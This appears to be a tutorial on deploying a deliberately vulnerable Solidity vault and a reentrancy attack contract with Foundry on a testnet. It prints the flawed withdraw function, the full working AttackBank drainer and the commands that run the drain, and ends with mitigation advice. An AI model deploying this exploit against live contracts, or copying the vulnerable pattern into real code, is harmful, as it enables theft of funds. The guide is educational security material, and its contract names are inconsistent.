Blockchain development often involves not just writing smart contracts but also interacting with them post-deployment. Foundry, combined with MetaMask wallets, provides a powerful toolkit for deploying, testing, and interacting with contracts on Ethereum and its testnets. In this comprehensive guide, we’ll explore step-by-step how to:
- Interact with an already deployed smart contract using Foundry.
- Demonstrate how the
AttackBank
contract exploitsEtherBank
through a reentrancy attack. - Showcase how external wallets can deposit and withdraw funds using Foundry commands.
- Provide tips, best practices, and additional insights for efficient smart contract development.
Understanding the Smart Contracts
1. KonvatiBank.sol
The KonvatiBank
contract acts as a simple vault where users can deposit and withdraw Ether. However, it contains a reentrancy vulnerability that makes it susceptible to attacks.
Key functionalities:
- Deposit Ether: Users can deposit funds into the contract using the
depositETH()
function. - Withdraw Ether: Users withdraw their funds using the
withdrawETH()
function.
// SPDX-License-Identifier: MIT
// Test by konvati
contract KonvatiBank {
mapping(address => uint256) public balances;
function depositETH() public payable {
balances[msg.sender] += msg.value;
}
function withdrawETH() public {
uint256 balance = balances[msg.sender];
// Send ETH
(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Withdraw failed");
// Update Balance
balances[msg.sender] = 0;
}
}
2. AttackBank.sol
The AttackBank
contract is designed to exploit the KonvatiBank
‘s reentrancy vulnerability. By recursively calling the withdrawETH()
function during a withdrawal, it drains the KonvatiBank
contract of its funds.
// SPDX-License-Identifier: MIT
// test by konvati
pragma solidity ^0.8.13;
interface IBank {
function depositETH() external payable;
function withdrawETH() external;
}
contract AttackBank {
IBank public bank;
address payable public owner;
constructor(address _bankAddress) {
bank = IBank(_bankAddress);
owner = payable(msg.sender);
}
function attack() external payable {
bank.depositETH{value: 0.0001 ether}();
bank.withdrawETH();
}
receive() external payable {
if (address(bank).balance >= 0.0001 ether) {
bank.withdrawETH();
} else {
(bool success, ) = owner.call{value: address(this).balance}("");
require(success, "Withdraw failed");
}
}
}
Deploying and Interacting with Contracts Using Foundry
Step 1: Prerequisites
Before starting, ensure you have the following:
curl -L https://foundry.paradigm.xyz | bash foundryup
- Foundry Installed: If Foundry isn’t already installed, set it up:
curl -L https://foundry.paradigm.xyz | bash foundryup
- MetaMask Wallets: Set up multiple wallets for deployment, interaction, and testing. Ensure each wallet has test Ether on Sepolia or any desired testnet. Use faucets to get test Ether.
- Access to an RPC Endpoint: Use a service like Infura or Alchemy to get an RPC URL for Sepolia or your preferred network.
Step 2: Deploying the KonvatiBank Contract
Deploy the KonvatiBank
contract using Foundry and MetaMask.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import { Script } from "forge-std/Script.sol";
import { KonavtiBank } from "../src/KonvatiBank.sol";
contract DeployKonvatiBank is Script {
function run() external {
vm.startBroadcast();
KonvatiBank konvatiBank = new KonvatiBank();
vm.stopBroadcast();
}
}
forge script script/DeployeKonvatiBank.s.sol --rpc-url $SEPOLIA_RPC_URL --private-key YOUR-PRIVATE-KEY --broadcast
- Compile the Contract:
forge build
- Deploy KonvatiBank: Use the private key of the first MetaMask account (deployer wallet):
forge create KonvatiBank --rpc-url <RPC_URL> --private-key <DEPLOYER_PRIVATE_KEY>
Note the deployed contract address (e.g.,0x06f2916395FD6BAAfd8252A346F44140957910e1
).
Step 3: Deploying the AttackBank Contract
Deploy the AttackBank
contract using the second MetaMask account. Pass the KonvatiBank
address as a constructor argument.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import { Script } from "forge-std/Script.sol";
import { AttackBank } from "../src/AttackBank.sol";
contract DeployAttackBank is Script {
function run() external {
// Replace this with the KonvatiBank contract address
address konvatiBankAddress = TheKonvatiBankOnChainContractAdress;
vm.startBroadcast();
AttackBank attackBank = new AttackBank(konvatiBankAddress);
vm.stopBroadcast();
}
}
forge script script/DeployAttackBank.s.sol --rpc-url $SEPOLIA_RPC_URL --private-key YOUR-PRIVATE-KEY --broadcast
- Compile the Contract:
forge build
- Deploy AttackBank:
forge create AttackBank --rpc-url <RPC_URL> --private-key <ATTACKER_PRIVATE_KEY> --constructor-args <KonvatiBankAddress>
Replace<KonvatiBankAddress>
with the address of the deployed KonvatiBank
contract. Verify theAttackBank
contract is linked correctly by checking thebank
variable:cast call <AttackBankAddress> "bank()" --rpc-url <RPC_URL>
Interacting with EtherBank Using Foundry
1. Deposit Ether
Users can deposit Ether into the EtherBank
contract using Foundry’s cast send
command. For example, User 3 deposits 0.0001 ETH:
cast send <KonvatiBankAddress> "depositETH()" --value 0.0001ether --rpc-url <RPC_URL> --private-key <USER3_PRIVATE_KEY>
To confirm the deposit:
- Check User 3’s balance in the contract:
cast call <KonvatiBankAddress> "balances(address)" <User3Address> --rpc-url <RPC_URL>
- Verify the
KonvatiBank
contract’s total balance:cast balance <KonvatiBankAddress> --rpc-url <RPC_URL>
2. Withdraw Ether
Users withdraw their deposited funds by calling the withdrawETH()
function. For example, User 3 withdraws their funds:
cast send <KonvatiBankAddress> "withdrawETH()" --rpc-url <RPC_URL> --private-key <USER3_PRIVATE_KEY>
Verify the withdrawal:
- Check User 3’s Wallet Balance:
cast balance <User3Address> --rpc-url <RPC_URL>
- Check EtherBank’s Remaining Balance:
cast balance <KonvatiBankAddress> --rpc-url <RPC_URL>
Executing the Reentrancy Attack
1. Initiating the Attack
The attacker triggers the exploit by calling the attack
function on the AttackBank
contract. This requires sending 0.0001 ETH to start the recursion.
cast send <AttackBankAddress> "attack()" --value 0.0001ether --rpc-url <RPC_URL> --private-key <ATTACKER_PRIVATE_KEY>
2. Verifying the Attack
- Check EtherBank Contract Balance: Confirm that the
EtherBank
contract’s balance is now0
:cast balance <EtherBankAddress> --rpc-url <RPC_URL>
- Check AttackBank Contract Balance: Verify that the
AttackBank
contract holds the stolen Ether:cast balance <AttackBankAddress> --rpc-url <RPC_URL>
- Check Attacker Wallet Balance: Confirm that the attacker successfully drained funds:
cast balance <AttackerAddress> --rpc-url <RPC_URL>
Key Lessons and Best Practices
1. Reentrancy Mitigation
Reentrancy attacks occur when a contract makes an external call before updating its internal state. To mitigate this:
- Use Checks-Effects-Interactions Pattern: Update state variables before making external calls.
- Implement
ReentrancyGuard
: Use OpenZeppelin’sReentrancyGuard
to protect functions from reentrant calls.
2. Debugging Tools
Foundry’s suite of tools simplifies debugging:
cast
: Execute calls and send transactions directly from the command line.forge
: Compile, deploy, and manage contracts.cast trace
: Debug failed transactions with detailed stack traces.
3. Testing with Foundry
Write comprehensive tests using Foundry’s forge test
framework to simulate real-world scenarios. Ensure your contract is tested against edge cases and potential exploits.
Conclusion
By combining Foundry and MetaMask wallets, developers can easily interact with deployed smart contracts, simulate real-world scenarios, and explore vulnerabilities like reentrancy. This guide demonstrated:
- Interactions with the
EtherBank
contract for deposits and withdrawals. - Deployment and exploitation of the
AttackBank
contract. - How external wallets use Foundry to interact with smart contracts.
This hands-on approach not only enhances your technical skills but also emphasizes the importance of secure smart contract development. Always test and audit your code to ensure it withstands adversarial environments.
Further Resources:
- Foundry Documentation
- Etherscan for transaction debugging
- OpenZeppelin Contracts for secure libraries
Let us know how you’re using Foundry and share your development stories! 🚀